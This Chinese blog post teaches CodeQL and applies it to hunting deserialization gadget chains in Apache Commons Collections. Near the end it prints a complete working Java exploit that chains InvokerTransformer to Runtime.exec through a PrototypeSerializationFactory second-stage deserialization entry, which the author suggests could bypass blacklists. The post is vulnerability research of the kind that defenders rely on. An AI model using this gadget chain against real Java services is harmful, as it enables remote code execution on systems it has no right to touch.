细谈使用CodeQL进行反序列化链的挖掘过程

admin 2023年3月12日15:32:54细谈使用CodeQL进行反序列化链的挖掘过程已关闭评论25 views字数 12687阅读42分17秒阅读模式

前言

学习了一下CodeQL的各种使用方式,决定使用CodeQL细谈一下CC链挖掘,通过一步一步的朝着我们既定的目标进行靠近,最终成功的找到了一条鸡肋的二次反序列化的入口

:sob::sob::sob::sob:

前奏

CodeQL本身包含两部分解析引擎+SDK

解析引擎用来解析我们编写的规则,虽然不开源,但是我们可以直接在官网下载二进制文件直接使用。

SDK完全开源,里面包含大部分现成的漏洞规则,我们也可以利用其编写自定义规则

安装

下载CodeQL执行程序

将SDK下载到同目录

cd ~/CodeQL&git clone https://github.com/Semmle/ql

之后将执行程序添加进入环境变量

然后再VScode中安装CodeQL插件,之后配置扩展,如果添加了环境变量就直接为空,没有添加就输入对应可执行文件的路径

简单使用

基本语法

类型
  1. 字符类型

String

存在类似于CharAt(0)的内置函数

  1. 整型与浮点型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  2. 日期型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  3. 布尔型

https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string

从未被使用的参数

```
import java

from Parameter p
where not exists( p.getAnAccess() )
select p
```

聚合使用

```
from Person t
where t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)
select t

select max(Person p | | p order by p.getAge())

min(Person p | p.getLocation() = "east" | p order by p.getHeight())

count(Person p | p.getLocation() = "south" | p)

avg(Person p | | p.getHeight())

sum(Person p | p.getHairColor() = "brown" | p.getAge())
```

生成Database

Creating CodeQL databases — CodeQL (github.com)

```
codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/

如何mvn编译报错使用 mvn compile -fn忽略错误

```

闭源构建数据库

闭源项目创建数据库,可以使用该工具:https://github.com/ice-doom/codeql_compile

构建JDK

(34条消息) 编译OpenJDK8并生成CodeQL数据库_n0body-mole的博客-CSDN博客

导入Database

和SQL语言一样,我们执行QL查询,肯定是要先指定一个数据库才可以。

选中插件,之后配置生成的数据库

类库

| 名称 | 解释 |
| -------------- | ----------------------------------------------------------------- |
| Method | 方法类,Method method表示获取当前项目中所有的方法 |
| MethodAccess | 方法调用类,MethodAccess call表示获取当前项目当中的所有方法调用 |
| Parameter | 参数类,Parameter表示获取当前项目当中所有的参数 |

简单使用

Method内置方法

```
method.getName() 获取的是当前方法的名称
method.getDeclaringType() 获取的是当前方法所属class的名称。
method.hasName() 判断是否有该方法
   
import java

from Method method
where method.hasName("getStudent")
select method.getName(), method.getDeclaringType()
```

谓词

```
predicate 表示当前方法没有返回值。
exists子查询,是CodeQL谓词语法里非常常见的语法结构,它根据内部的子查询返回true or false,来决定筛选出哪些数据。
   
import java

predicate isStudent(Method method) {
exists(|method.hasName("getStudent"))
}

from Method method
where isStudent(method)
select method.getName(), method.getDeclaringType()
   
   
//没有结果的谓词
predicate isSmall(int i) {
 i in [1 .. 9]
}
//带有返回结果的谓词
int getSuccessor(int i) {
 result = i + 1 and
 i in [1 .. 9]
} //如果i是小于10的正整数,那么谓词的返回结果就是i后面的那个整数

```

设置Source Sink

什么是source和sink
在代码自动化安全审计的理论当中,有一个最核心的三元组概念,就是(source,sink和sanitizer)。
source是指漏洞污染链条的输入点。比如获取http请求的参数部分,就是非常明显的Source。
sink是指漏洞污染链条的执行点,比如SQL注入漏洞,最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql,或者其它)。
sanitizer又叫净化函数,是指在整个的漏洞链条当中,如果存在一个方法阻断了整个传递链,那么这个方法就叫sanitizer。

设置source

```
override predicate isSource(DataFlow::Node src) {}

// 通用的source入口规则
override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
```

设置Sink

```
override predicate isSink(DataFlow::Node sink) {

}

// 查找一个query()方法的调用点,并把它的第一个参数设置为sink
override predicate isSink(DataFlow::Node sink) {
exists(Method method, MethodAccess call |
 method.hasName("query")
 and
 call.getMethod() = method and
 sink.asExpr() = call.getArgument(0)
)
}
```

Flow数据流

连通工作就是CodeQL引擎本身来完成的。我们通过使用config.hasFlowPath(source, sink)方法来判断是否连通。

```
from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"

//我们传递给config.hasFlowPath(source, sink)我们定义好的source和sink,系统就会自动帮我们判断是否存在漏洞了
```

命令行持续化使用规则

在编写了相应规则之后,就可以直接在命令行行中执行规则,检测其他项目

首先生成Database

之后通过我们编写的规则进行分析,输出为CSV文件

codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun

实例

使用jdbcTemplate.query方法的SQL注入

```
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.QueryInjection
import DataFlow::PathGraph

class VulConfig extends TaintTracking::Configuration {
   VulConfig() { this = "SqlinjectionConfig" }
   
   override predicate isSource(DataFlow::Node source) {
       source instanceof RemoteFlowSource
  }
   
   override predicate isSink(DataFlow::Node sink) {
       exists(Method method, MethodAccess call |
           method.hasName("query")
           and call.getMethod() = method
           and sink.asExpr() = call.getArgument(0))
  }
}

from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sink
where vulconfig.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"
```

报错解决

如果存在Source位置是List<Long> param类型的传参,这里是不可能存在SQL注入的我们可以使用TaintTracking::Configuration提供的净化方法isSanitizer

override predicate isSanitizer(DataFlow::Node node) {
   node.getType() instanceof PrimitiveType or
   node.getType() instanceof BoxedType or
   node.getType() instanceof NumberType or
   exists(ParameterizedType pt | node.getType() = pt and
   pt.getTypeArgument(0) instanceof NumberType)
}

复杂使用

instanceof优化查询结构

我们可以使用exists(|)这种子查询的方式定义source和sink,但是如果source/sink特别复杂(比如我们为了规则通用,可能要适配springboot, Thrift RPC,Servlet等source),如果我们把这些都在一个子查询内完成,比如 condition 1 or conditon 2 or condition 3, 这样一直下去,我们可能后面都看不懂了,更别说可维护性了。

instanceof给我们提供了一种机制,我们只需要定义一个abstract class

比如RemoteFlowSource抽象类的编写

/** A data flow source of remote user input. */
abstract class RemoteFlowSource extends DataFlow::Node {
 /** Gets a string that describes the type of this remote flow source. */
 abstract string getSourceType();
}

CodeQL和Java不太一样,只要我们的子类继承了这个RemoteFlowSource类,那么所有子类就会被调用,它所代表的source也会被加载

存在非常多继承这个抽象类的子类,所以他们的结果会被and串联在一起

递归查询

CodeQL里面的递归调用语法是:在谓词方法的后面跟*或者+,来表示调用0次以上和1次以上(和正则类似),0次会打印自己

在Java语言里,我们可以使用class嵌套class,多个内嵌class的时候,我们需要知道最外层的class是什么怎么办?

非递归,知道嵌套的层数:

```
import java

from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType().getEnclosingType()   // getEnclosingtype获取作用域
```

使用递归语法

from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType+()   // 获取作用域

代码分析平台CodeQL学习手记(七) - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

强制类型转换

```
import java

from Parameter param
select param, param.getType().(IntegralType) //筛选出getType方法符合后面了类型的结果
```

正文

这里主要是探讨由transform调用层面的挖掘

transform

我们通过codeql寻找transform方法的调用

class TransformCallable extends Callable {
   TransformCallable() {
       this.getName().matches("transform") and
       this.getNumberOfParameters() = 1
  }
}

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可以看出来结果挺多的,之后我们人工排查一下

TransformedCollection

TransformedCollection#transform的调用中存在可以调用其他transformer的transform方法的逻辑

细谈使用CodeQL进行反序列化链的挖掘过程

没啥用,都已经可以调用任意transform了,还需要这一步吗?

ChainedTransformer

ChainedTransformer#transform方法中存在iTransformers中的所有的transform的调用,这里也就是yoserial项目中的利用链

细谈使用CodeQL进行反序列化链的挖掘过程

CloneTransformer

CloneTransformer#transform方法中存在, PrototypeFactory类实例化之后调用了create方法

细谈使用CodeQL进行反序列化链的挖掘过程

我们跟进一下

细谈使用CodeQL进行反序列化链的挖掘过程

代码中表示如果需要transformer的类存在clone方法,就会返回一个new PrototypeCloneFactory对象,之后调用他的create方法,如果没有就会进入catch语句,返回一个new InstantiateFactory对象,但是这里因为在其类中的create方法中参数不可控不能够利用

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ClosureTransformer

ClosureTransformer#transform方法中,存在Closure#execute方法的调用

细谈使用CodeQL进行反序列化链的挖掘过程

Closure#execute

我们来查找一下有没有可用的实现了org.apache.commons.collections.Closure接口的类的execute调用

class ClosureCallable extends Callable {
   ClosureCallable() {
       this.getName().matches("execute") and
       this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")
  }
}

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我们一个一个来看下对应的execute方法

大概看了一下,发现不是this.iClosure.execute(input)调用就是this.iPredicate.evaluate(input)

只有一个TransformerClosure#execute方法中调用了transform,但是也不能形成利用链,最多算一个中转

ConstantTransformer

ConstantTransformer#transform方法中,将会返回一个构造方法,同样在yoserial中有所利用

FactoryTransformer

FactoryTransformer#transform方法中,调用了Factory接口的类的create方法
查看一下满足条件的类把

Factory#create

class FactoryCallable extends Callable {
   FactoryCallable() {
       this.getName().matches("create") and
       this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory")
  }
}

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进入看一看

InstantiateFactory

这里有一个InstantiateFactory类,好生熟悉,这不就是之前那篇文章中的CC链的挖掘,在其create方法中存在构造函数的实例化

细谈使用CodeQL进行反序列化链的挖掘过程

例如已知的TrAXFilter, 我们尝试挖掘一下

类似其中会调用TemplateImpl#newTransformer方法

```
/*
* @kind path-problem
/
import java

class ConstructCallable extends Callable {
   ConstructCallable() {
       this instanceof Constructor
  }
}

class MethodCallable extends Callable {
   MethodCallable() {
       this.getName().matches("newTransformer") and
       this.getDeclaringType().getName().matches("TemplatesImpl")
  }
}

query predicate edges(Callable a, Callable b) {
   a.polyCalls(b)
}

from MethodCallable endcall, ConstructCallable entrypoint
where edges+(entrypoint, endcall)
select endcall, entrypoint, endcall, "find Contructor in jdk"
```

细谈使用CodeQL进行反序列化链的挖掘过程

很合理我们得到了这个构造方法

虽然这里的iConstructor属性被transient修饰,但是在findConstructor中存在赋值

PrototypeSerializationFactory

之后有一个类为PrototypeSerializationFactory他是一个静态内部类

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刚开始看的时候觉得这不纯纯一个二次反序列化的入口吗,直接跟进一下子代码

在其构造函数中有对iPrototype属性的赋值操作
我们可以尝试直接将CC6拼接上去

```
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_plus_plus {
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }

public static void main(String[] args) throws Exception{
       //仿照ysoserial中的写法,防止在本地调试的时候触发命令
       Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
       Transformer[] transformers = new Transformer[] {
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
               new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
               new ConstantTransformer(1),
      };
       Transformer transformerChain = new ChainedTransformer(faketransformers);
       Map innerMap = new HashMap();
       Map outMap = LazyMap.decorate(innerMap, transformerChain);

//实例化
       TiedMapEntry tme = new TiedMapEntry(outMap, "key");
       Map expMap = new HashMap();
       //将其作为key键传入
       expMap.put(tme, "value");

//remove
       outMap.remove("key");

//传入利用链
       Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
       f.setAccessible(true);
       f.set(transformerChain, transformers);

Class c;
       c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
       Constructor constructor = c.getDeclaredConstructor(Serializable.class);
       constructor.setAccessible(true);
       Object o = constructor.newInstance(expMap);

FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o);

ConstantTransformer constantTransformer = new ConstantTransformer(1);

Map innerMap1 = new HashMap();
       LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);

TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey");

Map expMap1 = new HashMap();
       expMap1.put(tme1, "valuevalue");
       setFieldValue(outerMap1,"factory",factoryTransformer);

outerMap1.remove("keykey");
       ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
       objectOutputStream.writeObject(expMap);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
       ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
       objectInputStream.readObject();
  }
}
```

细谈使用CodeQL进行反序列化链的挖掘过程

能够成功执行,好吧,感觉挺鸡肋的,但是应该可以结合其他依赖,作为其他反序列入口来打,或者作为一个黑名单绕过

PrototypeCloneFactory

之后又是一个PrototypeCloneFactory#create方法中

细谈使用CodeQL进行反序列化链的挖掘过程

似乎可以任意方法的调用,但是我们注意到

细谈使用CodeQL进行反序列化链的挖掘过程

其被transient修饰,且不像InstantiateFactory中存在赋值操作,但是我们同样可以注意到其在调用findCloneMethod方法中的时候,取出了对应类的clone方法,如果clone方法有可以利用的是不是就可以形成利用链

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我们查找一下clone方法存在的类

```
import java

class CloneCallable extends Callable{
   CloneCallable() {
       this.getName().matches("clone")
  }
}
from CloneCallable c
select c,c.getBody(), c.getDeclaringType()
```

细谈使用CodeQL进行反序列化链的挖掘过程

在BeanMap中,对应的clone方法中存在newInstance的调用且其beanClass可控,但是是无参构造方法,无法形成利用链

细谈使用CodeQL进行反序列化链的挖掘过程

其他的调用我简单看了一下,没有什么特别的地方

最后一个是ReflectionFactory的调用,同样是无参构造方法

InstantiateTransformer

而对于InstantiateTransformer#transform方法中可以进行InvokerTransformer的替代使用,可以触发一些类的构造方法

细谈使用CodeQL进行反序列化链的挖掘过程

比如说TrAXFilter

细谈使用CodeQL进行反序列化链的挖掘过程

InvokerTransformer

接下来就是ysoserial中存在的InvokerTransformer#transform方法中可以反射调用可控的方法

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PredicateTransformer

而又在PredicateTransformer#transform方法中存在Predicate接口实现类的evaluate方法

细谈使用CodeQL进行反序列化链的挖掘过程

Predicate#evaluate

浅看一下对应类

```
import java

class PredicateCallable extends Callable {
   PredicateCallable() {
       this.getName().matches("evaluate") and
       this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate")
  }
}

from PredicateCallable c
select c, c.getBody(), c.getDeclaringType()
```

细谈使用CodeQL进行反序列化链的挖掘过程

都是一些没有亮点的东西

SwitchTransformer

之后SwitchTransformer#transform方法中,存在有类似ChainedTransformer#transform的功能

细谈使用CodeQL进行反序列化链的挖掘过程

但是需要满足this.iPredicates[i].evaluate(input)为true,而且似乎这里只能调用一次transform,不能形成链子,也没有了意义

总结

链子没有挖出来什么比较新的链子,有一个比较鸡肋的二次反序列化的链子,但是主要还是体会这种使用静态分析工具辅助自己进行挖掘新链,这次主要是在CC链中进行transformer层面的深度挖掘,当然还可以在动态代理等等方面进行深层次的探索,又或者以来其他依赖库结合进行挖掘利用的方式也是可行的

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admin
  • 本文由 发表于 2023年3月12日15:32:54
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